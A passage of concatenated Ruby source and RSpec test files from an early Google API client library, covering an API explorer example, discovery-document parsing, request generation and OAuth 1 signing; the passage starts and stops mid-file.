require 'rack/utils'
service_name, service_version = params[:service].split("-", 2)
method = service(service_name, service_version).to_h[params[:method].to_s]
parameters = method.parameters.inject({}) do |accu, parameter|
accu[parameter] = params[parameter.to_sym] if params[parameter.to_sym]
accu
end
body = ''
response = client.execute(
method, parameters.merge("pp" => "1"), body, [], {:signed => false}
)
status, headers, body = response
status_message = Rack::Utils::HTTP_STATUS_CODES[status.to_i]
merged_body = StringIO.new
body.each do |chunk|
merged_body << chunk
end
merged_body.rewind
<<-RESPONSE.strip
#{status} #{status_message}
#{(headers.map { |k,v| "#{k}: #{v}" }).join("\n")}
#{merged_body.string}
RESPONSE
end
get '/explore/:service/' do
service_name, service_version = params[:service].split("-", 2)
service_version = service(service_name, service_version).version
variables = {
"css" => CSS,
"service_name" => service_name,
"service_version" => service_version,
"methods" => service(service_name, service_version).to_h.keys.sort
}
Liquid::Template.parse(<<-HTML).render(variables)
<!DOCTYPE html>
<html>
<head>
<title>{{service_name}}</title>
<style type="text/css">
{{css}}
</style>
</head>
<body>
<h1>{{service_name}}</h1>
<ul>
{% for method in methods %}
<li>
<a href="/explore/{{service_name}}-{{service_version}}/{{method}}/">
{{method}}
</a>
</li>
{% endfor %}
</ul>
</body>
</html>
HTML
end
get '/explore/:service/:method/' do
service_name, service_version = params[:service].split("-", 2)
service_version = service(service_name, service_version).version
method = service(service_name, service_version).to_h[params[:method].to_s]
variables = {
"css" => CSS,
"javascript" => JAVASCRIPT,
"http_method" => (method.description['httpMethod'] || 'GET'),
"service_name" => service_name,
"service_version" => service_version,
"method" => params[:method].to_s,
"required_parameters" =>
method.required_parameters,
"optional_parameters" =>
method.optional_parameters.sort,
"template" => method.uri_template.pattern
}
Liquid::Template.parse(<<-HTML).render(variables)
<!DOCTYPE html>
<html>
<head>
<title>{{service_name}} - {{method}}</title>
<style type="text/css">
{{css}}
</style>
<script
src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"
type="text/javascript">
</script>
<script type="text/javascript">
{{javascript}}
</script>
</head>
<body>
<h3 id="service-id">
<a href="/explore/{{service_name}}-{{service_version}}/">
{{service_name}}-{{service_version}}
</a>
</h3>
<h1 id="rpc-name">{{method}}</h1>
<h2>{{http_method}} <span id="uri-template">{{template}}</span></h2>
<form>
<ul>
{% for parameter in required_parameters %}
<li>
<label for="param-{{parameter}}">{{parameter}}</label>
<input id="param-{{parameter}}" name="param-{{parameter}}"
class="parameter" type="text" />
</li>
{% endfor %}
{% for parameter in optional_parameters %}
<li>
<label for="param-{{parameter}}">{{parameter}}</label>
<input id="param-{{parameter}}" name="param-{{parameter}}"
class="parameter" type="text" />
</li>
{% endfor %}
{% if http_method != 'GET' %}
<li>
<label for="http-body">body</label>
<textarea id="http-body" name="http-body"></textarea>
</li>
{% endif %}
</ul>
<button>Transmit</button>
</form>
<div id="output">
<h3>Request</h3>
<pre id="request"></pre>
<h3>Response</h3>
<pre id="response"></pre>
</div>
</body>
</html>
HTML
end
get '/favicon.ico' do
require 'httpadapter'
HTTPAdapter.transmit(
['GET', 'http://www.google.com/favicon.ico', [], ['']],
HTTPAdapter::NetHTTPRequestAdapter
)
end
get '/' do
redirect '/explore/buzz/'
end
<file_sep>/lib/google/api_client.rb
# Copyright 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'httpadapter'
require 'json'
require 'stringio'
require 'google/api_client/discovery'
module Google
# TODO(bobaman): Document all this stuff.
##
# This class manages communication with a single API.
class APIClient
##
# An error which is raised when there is an unexpected response or other
# transport error that prevents an operation from succeeding.
class TransmissionError < StandardError
end
def initialize(options={})
@options = {
# TODO: What configuration options need to go here?
}.merge(options)
# Force immediate type-checking and short-cut resolution
self.parser
self.authorization
self.http_adapter
return self
end
##
# Returns the parser used by the client.
def parser
unless @options[:parser]
require 'google/api_client/parsers/json_parser'
# NOTE: Do not rely on this default value, as it may change
@options[:parser] = JSONParser
end
return @options[:parser]
end
##
# Returns the authorization mechanism used by the client.
#
# @return [#generate_authenticated_request] The authorization mechanism.
def authorization
case @options[:authorization]
when :oauth_1, :oauth
require 'signet/oauth_1/client'
# NOTE: Do not rely on this default value, as it may change
@options[:authorization] = Signet::OAuth1::Client.new(
:temporary_credential_uri =>
'https://www.google.com/accounts/OAuthGetRequestToken',
:authorization_uri =>
'https://www.google.com/accounts/OAuthAuthorizeToken',
:token_credential_uri =>
'https://www.google.com/accounts/OAuthGetAccessToken',
:client_credential_key => 'anonymous',
:client_credential_secret => 'anonymous'
)
when :two_legged_oauth_1, :two_legged_oauth
require 'signet/oauth_1/client'
# NOTE: Do not rely on this default value, as it may change
@options[:authorization] = Signet::OAuth1::Client.new(
:client_credential_key => nil,
:client_credential_secret => nil,
:two_legged => true
)
when nil
# No authorization mechanism
else
if !@options[:authorization].respond_to?(
:generate_authenticated_request)
raise TypeError,
'Expected authorization mechanism to respond to ' +
'#generate_authenticated_request.'
end
end
return @options[:authorization]
end
##
# Sets the authorization mechanism used by the client.
#
# @param [#generate_authenticated_request] new_authorization
# The new authorization mechanism.
def authorization=(new_authorization)
@options[:authorization] = new_authorization
return self.authorization
end
##
# Returns the HTTP adapter used by the client.
def http_adapter
return @options[:http_adapter] ||= (begin
require 'httpadapter/adapters/net_http'
@options[:http_adapter] = HTTPAdapter::NetHTTPRequestAdapter
end)
end
##
# Returns the URI for the discovery document.
#
# @return [Addressable::URI] The URI of the discovery document.
def discovery_uri
return @options[:discovery_uri] ||= (begin
if @options[:service]
service_id = @options[:service]
service_version = @options[:service_version] || 'v1'
Addressable::URI.parse(
"http://www.googleapis.com/discovery/0.1/describe" +
"?api=#{service_id}"
)
else
raise ArgumentError,
'Missing required configuration value, :discovery_uri.'
end
end)
end
##
# Sets the discovery URI for the client.
#
# @param [Addressable::URI, #to_str, String] new_discovery_uri
# The new discovery URI.
def discovery_uri=(new_discovery_uri)
@options[:discovery_uri] = Addressable::URI.parse(new_discovery_uri)
end
##
# Returns the parsed discovery document.
#
# @return [Hash] The parsed JSON from the discovery document.
def discovery_document
return @discovery_document ||= (begin
request = ['GET', self.discovery_uri.to_s, [], []]
response = self.transmit_request(request)
status, headers, body = response
if status == 200 # TODO(bobaman) Better status code handling?
merged_body = StringIO.new
body.each do |chunk|
merged_body.write(chunk)
end
merged_body.rewind
JSON.parse(merged_body.string)
else
raise TransmissionError,
"Could not retrieve discovery document at: #{self.discovery_uri}"
end
end)
end
##
# Returns a list of services this client instance has performed discovery
# for. This may return multiple versions of the same service.
#
# @return [Array]
# A list of discovered <code>Google::APIClient::Service</code> objects.
def discovered_services
return @discovered_services ||= (begin
service_names = self.discovery_document['data'].keys()
services = []
for service_name in service_names
versions = self.discovery_document['data'][service_name]
for service_version in versions.keys()
service_description =
self.discovery_document['data'][service_name][service_version]
services << ::Google::APIClient::Service.new(
service_name,
service_version,
service_description
)
end
end
services
end)
end
##
# Returns the service object for a given service name and service version.
#
# @param [String, Symbol] service_name The service name.
# @param [String] service_version The desired version of the service.
#
# @return [Google::APIClient::Service] The service object.
def discovered_service(service_name, service_version='v1')
if !service_name.kind_of?(String) && !service_name.kind_of?(Symbol)
raise TypeError,
"Expected String or Symbol, got #{service_name.class}."
end
service_name = service_name.to_s
for service in self.discovered_services
if service.name == service_name &&
service.version.to_s == service_version.to_s
return service
end
end
return nil
end
##
# Returns the method object for a given RPC name and service version.
#
# @param [String, Symbol] rpc_name The RPC name of the desired method.
# @param [String] service_version The desired version of the service.
#
# @return [Google::APIClient::Method] The method object.
def discovered_method(rpc_name, service_version='v1')
if !rpc_name.kind_of?(String) && !rpc_name.kind_of?(Symbol)
raise TypeError,
"Expected String or Symbol, got #{rpc_name.class}."
end
rpc_name = rpc_name.to_s
for service in self.discovered_services
# This looks kinda weird, but is not a real problem because there's
# almost always only one service, and this is memoized anyhow.
if service.version.to_s == service_version.to_s
return service.to_h[rpc_name] if service.to_h[rpc_name]
end
end
return nil
end
##
# Returns the service object with the highest version number.
#
# <em>Warning</em>: This method should be used with great care. As APIs
# are updated, minor differences between versions may cause
# incompatibilities. Requesting a specific version will avoid this issue.
#
# @param [String, Symbol] service_name The name of the service.
#
# @return [Google::APIClient::Service] The service object.
def latest_service_version(service_name)
if !service_name.kind_of?(String) && !service_name.kind_of?(Symbol)
raise TypeError,
"Expected String or Symbol, got #{service_name.class}."
end
service_name = service_name.to_s
return (self.discovered_services.select do |service|
service.name == service_name
end).sort.last
end
##
# Generates a request.
#
# @param [Google::APIClient::Method, String] api_method
# The method object or the RPC name of the method being executed.
# @param [Hash, Array] parameters
# The parameters to send to the method.
# @param [String] body The body of the request.
# @param [Hash, Array] headers The HTTP headers for the request.
# @param [Hash] options
# The configuration parameters for the request.
# - <code>:service_version</code> —
# The service version. Only used if <code>api_method</code> is a
# <code>String</code>. Defaults to <code>'v1'</code>.
# - <code>:parser</code> —
# The parser for the response.
# - <code>:authorization</code> —
# The authorization mechanism for the response. Used only if
# <code>:signed</code> is <code>true</code>.
# - <code>:signed</code> —
# <code>true</code> if the request must be signed, <code>false</code>
# otherwise. Defaults to <code>true</code> if an authorization
# mechanism has been set, <code>false</code> otherwise.
#
# @return [Array] The generated request.
#
# @example
# request = client.generate_request(
# 'chili.activities.list',
# {'scope' => '@self', 'userId' => '@me', 'alt' => 'json'}
# )
# method, uri, headers, body = request
def generate_request(
api_method, parameters={}, body='', headers=[], options={})
options={
:parser => self.parser,
:service_version => 'v1',
:authorization => self.authorization
}.merge(options)
# The default value for the :signed option depends on whether an
# authorization mechanism has been set.
if options[:authorization]
options = {:signed => true}.merge(options)
else
options = {:signed => false}.merge(options)
end
if api_method.kind_of?(String) || api_method.kind_of?(Symbol)
api_method = self.discovered_method(
api_method.to_s, options[:service_version]
)
elsif !api_method.kind_of?(::Google::APIClient::Method)
raise TypeError,
"Expected String, Symbol, or Google::APIClient::Method, " +
"got #{api_method.class}."
end
unless api_method
raise ArgumentError, "API method could not be found."
end
request = api_method.generate_request(parameters, body, headers)
if options[:signed]
request = self.sign_request(request, options[:authorization])
end
return request
end
##
# Generates a request and transmits it.
#
# @param [Google::APIClient::Method, String] api_method
# The method object or the RPC name of the method being executed.
# @param [Hash, Array] parameters
# The parameters to send to the method.
# @param [String] body The body of the request.
# @param [Hash, Array] headers The HTTP headers for the request.
# @param [Hash] options
# The configuration parameters for the request.
# - <code>:service_version</code> —
# The service version. Only used if <code>api_method</code> is a
# <code>String</code>. Defaults to <code>'v1'</code>.
# - <code>:adapter</code> —
# The HTTP adapter.
# - <code>:parser</code> —
# The parser for the response.
# - <code>:authorization</code> —
# The authorization mechanism for the response. Used only if
# <code>:signed</code> is <code>true</code>.
# - <code>:signed</code> —
# <code>true</code> if the request must be signed, <code>false</code>
# otherwise. Defaults to <code>true</code>.
#
# @return [Array] The response from the API.
#
# @example
# response = client.execute(
# 'chili.activities.list',
# {'scope' => '@self', 'userId' => '@me', 'alt' => 'json'}
# )
# status, headers, body = response
def execute(api_method, parameters={}, body='', headers=[], options={})
request = self.generate_request(
api_method, parameters, body, headers, options
)
return self.transmit_request(
request,
options[:adapter] || self.http_adapter
)
end
##
# Transmits the request using the current HTTP adapter.
#
# @param [Array] request The request to transmit.
# @param [#transmit] adapter The HTTP adapter.
#
# @return [Array] The response from the server.
def transmit_request(request, adapter=self.http_adapter)
::HTTPAdapter.transmit(request, adapter)
end
##
# Signs a request using the current authorization mechanism.
#
# @param [Array] request The request to sign.
# @param [#generate_authenticated_request] authorization
# The authorization mechanism.
#
# @return [Array] The signed request.
def sign_request(request, authorization=self.authorization)
return authorization.generate_authenticated_request(
:request => request
)
end
end
end
require 'google/api_client/version'
<file_sep>/spec/google/api_client_spec.rb
# Copyright 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'spec_helper'
require 'signet/oauth_1/client'
require 'httpadapter/adapters/net_http'
require 'google/api_client'
require 'google/api_client/version'
require 'google/api_client/parsers/json_parser'
describe Google::APIClient, 'with default configuration' do
before do
@client = Google::APIClient.new
end
it 'should make its version number available' do
::Google::APIClient::VERSION::STRING.should be_instance_of(String)
end
it 'should use the default JSON parser' do
@client.parser.should be(Google::APIClient::JSONParser)
end
it 'should not use an authorization mechanism' do
@client.authorization.should be_nil
end
end
describe Google::APIClient, 'with default oauth configuration' do
before do
@client = Google::APIClient.new(:authorization => :oauth_1)
end
it 'should make its version number available' do
::Google::APIClient::VERSION::STRING.should be_instance_of(String)
end
it 'should use the default JSON parser' do
@client.parser.should be(Google::APIClient::JSONParser)
end
it 'should use the default OAuth1 client configuration' do
@client.authorization.temporary_credential_uri.to_s.should ==
'https://www.google.com/accounts/OAuthGetRequestToken'
@client.authorization.authorization_uri.to_s.should include(
'https://www.google.com/accounts/OAuthAuthorizeToken'
)
@client.authorization.token_credential_uri.to_s.should ==
'https://www.google.com/accounts/OAuthGetAccessToken'
@client.authorization.client_credential_key.should == 'anonymous'
@client.authorization.client_credential_secret.should == 'anonymous'
end
end
describe Google::APIClient, 'with custom pluggable parser' do
before do
class FakeJsonParser
end
@client = Google::APIClient.new(:parser => FakeJsonParser.new)
end
it 'should use the custom parser' do
@client.parser.should be_instance_of(FakeJsonParser)
end
end
<file_sep>/lib/google/api_client/discovery.rb
# Copyright 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'json'
require 'addressable/uri'
require 'addressable/template'
require 'extlib/inflection'
module Google
class APIClient
##
# An exception that is raised if a method is called with missing or
# invalid parameter values.
class ValidationError < StandardError
end
##
# A service that has been described by a discovery document.
class Service
##
# Creates a description of a particular version of a service.
#
# @param [String] service_name
# The identifier for the service. Note that while this frequently
# matches the first segment of all of the service's RPC names, this
# should not be assumed. There is no requirement that these match.
# @param [String] service_version
# The identifier for the service version.
# @param [Hash] service_description
# The section of the discovery document that applies to this service
# version.
#
# @return [Google::APIClient::Service] The constructed service object.
def initialize(service_name, service_version, service_description)
@name = service_name
@version = service_version
@description = service_description
metaclass = (class <<self; self; end)
self.resources.each do |resource|
method_name = Extlib::Inflection.underscore(resource.name).to_sym
if !self.respond_to?(method_name)
metaclass.send(:define_method, method_name) { resource }
end
end
self.methods.each do |method|
method_name = Extlib::Inflection.underscore(method.name).to_sym
if !self.respond_to?(method_name)
metaclass.send(:define_method, method_name) { method }
end
end
end
##
# Returns the identifier for the service.
#
# @return [String] The service identifier.
attr_reader :name
##
# Returns the version of the service.
#
# @return [String] The service version.
attr_reader :version
##
# Returns the parsed section of the discovery document that applies to
# this version of the service.
#
# @return [Hash] The service description.
attr_reader :description
##
# Returns the base URI for this version of the service.
#
# @return [Addressable::URI] The base URI that methods are joined to.
def base
return @base ||= Addressable::URI.parse(self.description['baseUrl'])
end
##
# Updates the hierarchy of resources and methods with the new base.
#
# @param [Addressable::URI, #to_str, String] new_base
# The new base URI to use for the service.
def base=(new_base)
@base = Addressable::URI.parse(new_base)
self.resources.each do |resource|
resource.base = @base
end
self.methods.each do |method|
method.base = @base
end
end
##
# A list of resources available at the root level of this version of the
# service.
#
# @return [Array] A list of {Google::APIClient::Resource} objects.
def resources
return @resources ||= (
(self.description['resources'] || []).inject([]) do |accu, (k, v)|
accu << ::Google::APIClient::Resource.new(self.base, k, v)
accu
end
)
end
##
# A list of methods available at the root level of this version of the
# service.
#
# @return [Array] A list of {Google::APIClient::Method} objects.
def methods
return @methods ||= (
(self.description['methods'] || []).inject([]) do |accu, (k, v)|
accu << ::Google::APIClient::Method.new(self.base, k, v)
accu
end
)
end
##
# Converts the service to a flat mapping of RPC names and method objects.
#
# @return [Hash] All methods available on the service.
#
# @example
# # Discover available methods
# method_names = client.discovered_service('buzz').to_h.keys
def to_h
return @hash ||= (begin
methods_hash = {}
self.methods.each do |method|
methods_hash[method.rpc_name] = method
end
self.resources.each do |resource|
methods_hash.merge!(resource.to_h)
end
methods_hash
end)
end
##
# Compares two versions of a service.
#
# @param [Object] other The service to compare.
#
# @return [Integer]
# <code>-1</code> if the service is older than <code>other</code>.
# <code>0</code> if the service is the same as <code>other</code>.
# <code>1</code> if the service is newer than <code>other</code>.
# <code>nil</code> if the service cannot be compared to
# <code>other</code>.
def <=>(other)
# We can only compare versions of the same service
if other.kind_of?(self.class) && self.name == other.name
split_version = lambda do |version|
dotted_version = version[/^v?(\d+(.\d+)*)-?(.*?)?$/, 1]
suffix = version[/^v?(\d+(.\d+)*)-?(.*?)?$/, 3]
if dotted_version && suffix
[dotted_version.split('.').map { |v| v.to_i }, suffix]
else
[[-1], version]
end
end
self_sortable, self_suffix = split_version.call(self.version)
other_sortable, other_suffix = split_version.call(other.version)
result = self_sortable <=> other_sortable
if result != 0
return result
# If the dotted versions are equal, check the suffix.
# An omitted suffix should be sorted after an included suffix.
elsif self_suffix == ''
return 1
elsif other_suffix == ''
return -1
else
return self_suffix <=> other_suffix
end
else
return nil
end
end
##
# Returns a <code>String</code> representation of the service's state.
#
# @return [String] The service's state, as a <code>String</code>.
def inspect
sprintf(
"#<%s:%#0x NAME:%s>", self.class.to_s, self.object_id, self.name
)
end
end
##
# A resource that has been described by a discovery document.
class Resource
##
# Creates a description of a particular version of a resource.
#
# @param [Addressable::URI] base
# The base URI for the service.
# @param [String] resource_name
# The identifier for the resource.
# @param [Hash] resource_description
# The section of the discovery document that applies to this resource.
#
# @return [Google::APIClient::Resource] The constructed resource object.
def initialize(base, resource_name, resource_description)
@base = base
@name = resource_name
@description = resource_description
metaclass = (class <<self; self; end)
self.resources.each do |resource|
method_name = Extlib::Inflection.underscore(resource.name).to_sym
if !self.respond_to?(method_name)
metaclass.send(:define_method, method_name) { resource }
end
end
self.methods.each do |method|
method_name = Extlib::Inflection.underscore(method.name).to_sym
if !self.respond_to?(method_name)
metaclass.send(:define_method, method_name) { method }
end
end
end
##
# Returns the identifier for the resource.
#
# @return [String] The resource identifier.
attr_reader :name
##
# Returns the parsed section of the discovery document that applies to
# this resource.
#
# @return [Hash] The resource description.
attr_reader :description
##
# Returns the base URI for this resource.
#
# @return [Addressable::URI] The base URI that methods are joined to.
attr_reader :base
##
# Updates the hierarchy of resources and methods with the new base.
#
# @param [Addressable::URI, #to_str, String] new_base
# The new base URI to use for the resource.
def base=(new_base)
@base = Addressable::URI.parse(new_base)
self.resources.each do |resource|
resource.base = @base
end
self.methods.each do |method|
method.base = @base
end
end
##
# A list of sub-resources available on this resource.
#
# @return [Array] A list of {Google::APIClient::Resource} objects.
def resources
return @resources ||= (
(self.description['resources'] || []).inject([]) do |accu, (k, v)|
accu << ::Google::APIClient::Resource.new(self.base, k, v)
accu
end
)
end
##
# A list of methods available on this resource.
#
# @return [Array] A list of {Google::APIClient::Method} objects.
def methods
return @methods ||= (
(self.description['methods'] || []).inject([]) do |accu, (k, v)|
accu << ::Google::APIClient::Method.new(self.base, k, v)
accu
end
)
end
##
# Converts the resource to a flat mapping of RPC names and method
# objects.
#
# @return [Hash] All methods available on the resource.
def to_h
return @hash ||= (begin
methods_hash = {}
self.methods.each do |method|
methods_hash[method.rpc_name] = method
end
self.resources.each do |resource|
methods_hash.merge!(resource.to_h)
end
methods_hash
end)
end
##
# Returns a <code>String</code> representation of the resource's state.
#
# @return [String] The resource's state, as a <code>String</code>.
def inspect
sprintf(
"#<%s:%#0x NAME:%s>", self.class.to_s, self.object_id, self.name
)
end
end
##
# A method that has been described by a discovery document.
class Method
##
# Creates a description of a particular method.
#
# @param [Addressable::URI] base
# The base URI for the service.
# @param [String] method_name
# The identifier for the method.
# @param [Hash] method_description
# The section of the discovery document that applies to this method.
#
# @return [Google::APIClient::Method] The constructed method object.
def initialize(base, method_name, method_description)
@base = base
@name = method_name
@description = method_description
end
##
# Returns the identifier for the method.
#
# @return [String] The method identifier.
attr_reader :name
##
# Returns the parsed section of the discovery document that applies to
# this method.
#
# @return [Hash] The method description.
attr_reader :description
##
# Returns the base URI for the method.
#
# @return [Addressable::URI]
# The base URI that this method will be joined to.
attr_reader :base
##
# Updates the method with the new base.
#
# @param [Addressable::URI, #to_str, String] new_base
# The new base URI to use for the method.
def base=(new_base)
@base = Addressable::URI.parse(new_base)
@uri_template = nil
end
##
# Returns the RPC name for the method.
#
# @return [String] The RPC name.
def rpc_name
return self.description['rpcName']
end
##
# Returns the URI template for the method. A parameter list can be
# used to expand this into a URI.
#
# @return [Addressable::Template] The URI template.
def uri_template
# TODO(bobaman) We shouldn't be calling #to_s here, this should be
# a join operation on a URI, but we have to treat these as Strings
# because of the way the discovery document provides the URIs.
# This should be fixed soon.
return @uri_template ||=
Addressable::Template.new(base.to_s + self.description['pathUrl'])
end
##
# Normalizes parameters, converting to the appropriate types.
#
# @param [Hash, Array] parameters
# The parameters to normalize.
#
# @return [Hash] The normalized parameters.
def normalize_parameters(parameters={})
# Convert keys to Strings when appropriate
if parameters.kind_of?(Hash) || parameters.kind_of?(Array)
# Is a Hash or an Array a better return type? Do we ever need to
# worry about the same parameter being sent twice with different
# values?
parameters = parameters.inject({}) do |accu, (k, v)|
k = k.to_s if k.kind_of?(Symbol)
k = k.to_str if k.respond_to?(:to_str)
unless k.kind_of?(String)
raise TypeError, "Expected String, got #{k.class}."
end
accu[k] = v
accu
end
else
raise TypeError,
"Expected Hash or Array, got #{parameters.class}."
end
return parameters
end
##
# Expands the method's URI template using a parameter list.
#
# @param [Hash, Array] parameters
# The parameter list to use.
#
# @return [Addressable::URI] The URI after expansion.
def generate_uri(parameters={})
parameters = self.normalize_parameters(parameters)
self.validate_parameters(parameters)
template_variables = self.uri_template.variables
uri = self.uri_template.expand(parameters)
query_parameters = parameters.reject do |k, v|
template_variables.include?(k)
end
if query_parameters.size > 0
uri.query_values = (uri.query_values || {}).merge(query_parameters)
end
# Normalization is necessary because of undesirable percent-escaping
# during URI template expansion
return uri.normalize
end
##
# Generates an HTTP request for this method.
#
# @param [Hash, Array] parameters
# The parameters to send.
# @param [String, StringIO] body The body for the HTTP request.
# @param [Hash, Array] headers The HTTP headers for the request.
#
# @return [Array] The generated HTTP request.
def generate_request(parameters={}, body='', headers=[])
if body.respond_to?(:string)
body = body.string
elsif body.respond_to?(:to_str)
body = body.to_str
else
raise TypeError, "Expected String or StringIO, got #{body.class}."
end
if !headers.kind_of?(Array) && !headers.kind_of?(Hash)
raise TypeError, "Expected Hash or Array, got #{headers.class}."
end
method = self.description['httpMethod'] || 'GET'
uri = self.generate_uri(parameters)
headers = headers.to_a if headers.kind_of?(Hash)
return [method, uri.to_str, headers, [body]]
end
##
# Returns a <code>Hash</code> of the parameter descriptions for
# this method.
#
# @return [Hash] The parameter descriptions.
def parameter_descriptions
@parameter_descriptions ||= (
self.description['parameters'] || {}
).inject({}) { |h,(k,v)| h[k]=v; h }
end
##
# Returns an <code>Array</code> of the parameters for this method.
#
# @return [Array] The parameters.
def parameters
@parameters ||= ((
self.description['parameters'] || {}
).inject({}) { |h,(k,v)| h[k]=v; h }).keys
end
##
# Returns an <code>Array</code> of the required parameters for this
# method.
#
# @return [Array] The required parameters.
#
# @example
# # A list of all required parameters.
# method.required_parameters
def required_parameters
@required_parameters ||= ((self.parameter_descriptions.select do |k, v|
v['required']
end).inject({}) { |h,(k,v)| h[k]=v; h }).keys
end
##
# Returns an <code>Array</code> of the optional parameters for this
# method.
#
# @return [Array] The optional parameters.
#
# @example
# # A list of all optional parameters.
# method.optional_parameters
def optional_parameters
@optional_parameters ||= ((self.parameter_descriptions.reject do |k, v|
v['required']
end).inject({}) { |h,(k,v)| h[k]=v; h }).keys
end
##
# Verifies that the parameters are valid for this method. Raises an
# exception if validation fails.
#
# @param [Hash, Array] parameters
# The parameters to verify.
#
# @return [NilClass] <code>nil</code> if validation passes.
def validate_parameters(parameters={})
parameters = self.normalize_parameters(parameters)
required_variables = ((self.parameter_descriptions.select do |k, v|
v['required']
end).inject({}) { |h,(k,v)| h[k]=v; h }).keys
missing_variables = required_variables - parameters.keys
if missing_variables.size > 0
raise ArgumentError,
"Missing required parameters: #{missing_variables.join(', ')}."
end
parameters.each do |k, v|
if self.parameter_descriptions[k]
pattern = self.parameter_descriptions[k]['pattern']
if pattern
regexp = Regexp.new("^#{pattern}$")
if v !~ regexp
raise ArgumentError,
"Parameter '#{k}' has an invalid value: #{v}. " +
"Must match: /^#{pattern}$/."
end
end
end
end
return nil
end
##
# Returns a <code>String</code> representation of the method's state.
#
# @return [String] The method's state, as a <code>String</code>.
def inspect
sprintf(
"#<%s:%#0x NAME:%s>", self.class.to_s, self.object_id, self.rpc_name
)
end
end
end
end
<file_sep>/spec/google/api_client/discovery_spec.rb
# Copyright 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'spec_helper'
require 'signet/oauth_1/client'
require 'httpadapter/adapters/net_http'
require 'google/api_client'
require 'google/api_client/version'
require 'google/api_client/parsers/json_parser'
describe Google::APIClient, 'unconfigured' do
before do
@client = Google::APIClient.new
end
it 'should not be able to determine the discovery URI' do
(lambda do
@client.discovery_uri
end).should raise_error(ArgumentError)
end
end
describe Google::APIClient, 'configured for a bogus API' do
before do
@client = Google::APIClient.new(:service => 'bogus')
end
it 'should not be able to retrieve the discovery document' do
(lambda do
@client.discovery_document
end).should raise_error(Google::APIClient::TransmissionError)
end
end
describe Google::APIClient, 'configured for bogus authorization' do
it 'should raise a type error' do
(lambda do
Google::APIClient.new(:service => 'prediction', :authorization => 42)
end).should raise_error(TypeError)
end
end
describe Google::APIClient, 'configured for the prediction API' do
before do
@client = Google::APIClient.new(:service => 'prediction')
end
it 'should correctly determine the discovery URI' do
@client.discovery_uri.should ===
'http://www.googleapis.com/discovery/0.1/describe?api=prediction'
end
it 'should have multiple versions available' do
@client.discovered_services.size.should > 1
end
it 'should find APIs that are in the discovery document' do
@client.discovered_service('prediction').name.should == 'prediction'
@client.discovered_service('prediction').version.should == 'v1'
@client.discovered_service(:prediction).name.should == 'prediction'
@client.discovered_service(:prediction).version.should == 'v1'
end
it 'should find API versions that are in the discovery document' do
@client.discovered_service('prediction', 'v1.1').version.should == 'v1.1'
end
it 'should not find APIs that are not in the discovery document' do
@client.discovered_service('bogus').should == nil
end
it 'should raise an error for bogus services' do
(lambda do
@client.discovered_service(42)
end).should raise_error(TypeError)
end
it 'should find methods that are in the discovery document' do
@client.discovered_method('prediction.training.insert').name.should ==
'insert'
@client.discovered_method(:'prediction.training.insert').name.should ==
'insert'
end
it 'should find methods for versions that are in the discovery document' do
@client.discovered_method(
'prediction.training.delete', 'v1.1'
).should_not == nil
end
it 'should not find methods that are not in the discovery document' do
@client.discovered_method('prediction.training.delete', 'v1').should == nil
@client.discovered_method('prediction.bogus').should == nil
end
it 'should raise an error for bogus methods' do
(lambda do
@client.discovered_method(42)
end).should raise_error(TypeError)
end
it 'should correctly determine the latest version' do
@client.latest_service_version('prediction').version.should_not == 'v1'
@client.latest_service_version(:prediction).version.should_not == 'v1'
end
it 'should raise an error for bogus services' do
(lambda do
@client.latest_service_version(42)
end).should raise_error(TypeError)
end
it 'should correctly determine the latest version' do
# Sanity check the algorithm
@client.discovered_services.clear
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v1', {})
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v1.1', {})
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v1.10', {})
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v10.0.1', {})
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v10.1', {})
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v2.1', {})
@client.discovered_services <<
Google::APIClient::Service.new('magic', 'v10.0', {})
@client.latest_service_version('magic').version.should == 'v10.1'
end
it 'should correctly determine the latest version' do
# Sanity check the algorithm
@client.discovered_services.clear
@client.discovered_services <<
Google::APIClient::Service.new('one', 'v3', {})
@client.discovered_services <<
Google::APIClient::Service.new('two', 'v1', {})
@client.discovered_services <<
Google::APIClient::Service.new('two', 'v1.1-r1c3', {})
@client.discovered_services <<
Google::APIClient::Service.new('two', 'v2', {})
@client.discovered_services <<
Google::APIClient::Service.new('two', 'v2beta1', {})
@client.discovered_services <<
Google::APIClient::Service.new('two', 'test2', {})
@client.latest_service_version('two').version.should == 'v2'
end
it 'should return nil for bogus service names' do
# Sanity check the algorithm
@client.latest_service_version('bogus').should == nil
end
it 'should generate valid requests' do
request = @client.generate_request(
'prediction.training.insert',
{'query' => '12345'}
)
method, uri, headers, body = request
method.should == 'POST'
uri.should ==
'https://www.googleapis.com/prediction/v1/training?query=12345'
